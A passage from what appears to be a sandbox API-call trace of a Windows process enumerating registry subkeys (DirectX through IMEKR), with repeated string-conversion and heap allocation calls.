lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x123c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.276] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x123b9b8, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x123c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.276] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x123b9b8, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x123c160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.276] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x123b9b8, cchName=0x104 | out: lpName="DRM") returned 0x0 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x123c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0256.276] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.276] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x123b9b8, cchName=0x104 | out: lpName="DVR") returned 0x0 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x123c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x123b9b8, cchName=0x104 | out: lpName="DXP") returned 0x0 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x123c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x123b9b8, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x123c160, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x123b9b8, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x123c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0256.277] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.277] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x123b9b8, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x123c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x123b9b8, cchName=0x104 | out: lpName="Fax") returned 0x0 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x123c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x123b9b8, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x123c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x123b9b8, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x123c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0256.278] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x123b9b8, cchName=0x104 | out: lpName="FTH") returned 0x0 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x123c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x123b9b8, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x123c1a8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x123b9b8, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x123c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.279] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x123b9b8, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x123c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0256.279] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x123b9b8, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x123c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x123b9b8, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x123c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x123b9b8, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x123c160, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.280] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x123b9b8, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x123c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0256.280] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x123b9b8, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x123c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc40) returned 1 [0256.281] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x123b9b8, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0256.281] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc40 [0256.281] WideCharToMultiByte (in: CodePage=0x0, 